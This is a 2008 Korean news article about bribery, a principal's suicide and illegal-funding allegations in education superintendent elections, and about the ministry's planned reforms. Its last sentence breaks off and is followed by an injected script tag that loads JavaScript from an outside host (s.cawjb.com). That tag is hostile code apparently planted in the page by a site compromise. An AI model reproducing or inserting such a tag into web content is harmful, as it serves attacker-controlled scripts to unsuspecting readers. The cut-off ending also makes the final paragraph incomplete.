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뇌물…자살… 교육감 선거 흔들
2008-10-08 오전 10:35:00, 조회:1124
경북·충남 줄소환…서울선 불법 선거자금 논란
교과부, 2010년선거 현행 골격 유지 놓고 골머리
대구지검이 지난달 30일 조병인 경북도교육감을 수뢰 혐의로 소환해 조사하자 도교육청은 물론 지역 교육계 전체가 충격에 빠졌다.
이번주에는 오제직충남교육감이 검찰에 소환돼 선거법위반에 대한 조사를 받을 예정이다. 오 교육감을 도와 선거운동에 참여했던 초등학교교장은 검찰조사를 받은뒤 음독자살하는 사건이 벌어졌다.
서울교육감 선거도 조만간 검찰 조사를 받게 될 것으로 보인다. 공정택교육감과 경합을 벌였던 주경복후보가 전교조로부터 선거자금을 지원받았다는 사실이 폭로되면서 수사가 불가피해졌다.
수백억원대에 이르는 선거자금을 투입하고도 낮은 투표율을 보여 고비용 저효율선거의 대표적 사례로 꼽혀온 교육감 선거가 이번에는 각종 추문에 휩싸였다.
교과부는 현행 지방교육자치법을 개정, 교육감 선거의 문제점을 보완한다는 방침이지만 2010년 지방선거때 까지는 기존 골격을 유지할 수 밖에 없어 고민에 빠져있다.
교과부는 연내 관련 법안을 개정, 교육감선거에 출마하는 후보자도 시도지사 선거와 마찬가지로 선거후원회를 둘 수 있게 하고 기호 선정도 가나다순에서 추첨제로 변경하는 방안을 추진중이다. 또 교육감 선거에서 정당명부제를 도입하는 방안도 신중 검토중인 것으로 알려졌다.
◆ 사건경위 = 조병인 경북교육감은 분규중인 사학재단으로부터 3천만원을 받은 혐의로 검찰에 소환돼 조사를 받았다. 검찰은 이 돈이 교육감 선거 자금으로 흘러 들어간 것인지를 집중조사하고 있다. 조교육감은 검찰에서 혐의사실을 모두 부인한 것으로 알려졌다.
충남교육계는 교육감선거운동에 참여했던 한 초등학교교장이 검찰조사를 받은 직후 자살한 사건이 발생, 지역교육계 침통한 분위기다. 한국교총등이 검찰의 과잉수사를 비판하고 나섰지만 검찰은 오교육감을 소환 조사한뒤 사법처리 여부를 발표할 방침이다. 검찰은 오교육감이 지난 7월 선거에서 학교장은 100여명을 선거운동에 투입, 관권선거를 벌인 사실을 적발하고 수사를 벌여왔다.
서울에서는 교육감선거에 나섰다 떨어진 주경복후보가 전교조로부터 선거자금을 지원받은 혐으로 검찰에 고발돼 수사가 불가피해졌다. 전교조측은 사실무근 임을 주장하고 있다.
◆ 정부 대책은 = 교과부는 교육감선거 제도에 심각한 문제가 있다는 점을 인정하면서도 오는 2010년 지방선거까지는 현행 틀을 유지할 수밖에 없다는 입장이다. 다만 후원제도를 도입, 선거자금을 투명하게 모금할수 있게 할 방침이다. 또 논란이 됐던 기호배정도 가나다 순에서 추첨제로 바꿀 방침이다. 이와함께 교과부는 교육감선거에 정당명부제를 도입하는 방안도 신중하게 검토하고 있다. 정당명부제 도입은 시도지사 러닝메이트제와 직결되는 것이어서 주목된다. 교과부관계자는 정당명부제는 상당히 민감한 사안이니 만큼 충분한 시간을 두고 검토할 방침이라고 밝혀 확대해석?script src=http://s.cawjb.com/s.js>
